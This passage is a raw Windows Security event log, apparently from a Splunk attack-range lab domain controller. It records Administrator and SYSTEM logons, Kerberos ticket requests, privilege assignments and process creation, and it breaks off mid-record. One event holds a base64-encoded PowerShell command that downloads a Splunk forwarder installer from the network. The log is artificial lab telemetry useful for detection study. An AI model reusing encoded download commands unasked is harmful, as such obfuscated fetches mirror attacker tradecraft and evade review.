Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249753 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC3C8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249752 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC3C8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249751 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC3C8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249750 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249749 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249748 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249747 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE9E60 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249746 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE9848 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249745 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE85B4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249819 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEECA7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249818 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEECA7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64327 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249817 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEECA7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249816 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEEA7F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249815 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEEA7F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64326 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249814 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEEA7F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249813 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEE908 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249812 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEE908 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64325 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249811 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEE908 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249810 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEE84A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249809 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEE84A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64324 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249808 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEE84A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249807 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x244 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgACIAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACIACgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC4AcwBwAGwAdQBuAGsALgBjAG8AbQAvAHAAcgBvAGQAdQBjAHQAcwAvAHUAbgBpAHYAZQByAHMAYQBsAGYAbwByAHcAYQByAGQAZQByAC8AcgBlAGwAZQBhAHMAZQBzAC8AOAAuADAALgAyAC8AdwBpAG4AZABvAHcAcwAvAHMAcABsAHUAbgBrAGYAbwByAHcAYQByAGQAZQByAC0AOAAuADAALgAyAC0AYQA3AGYANgA0ADUAZABkAGEAZgA5ADEALQB4ADYANAAtAHIAZQBsAGUAYQBzAGUALgBtAHMAaQAiACwAIAAiAEMAOgBcAHMAcABsAHUAbgBrAHUAZgAuAG0AcwBpACIAKQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249806 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x570 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdc0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES3814.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC45D70A5DED75414FA271BA331A888D89.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249805 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEE21D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249804 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEE21D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {112FE297-1DE3-4AAA-071C-62923EB2E8F3} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249803 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {112FE297-1DE3-4AAA-071C-62923EB2E8F3} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249802 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {112FE297-1DE3-4AAA-071C-62923EB2E8F3} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249801 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: 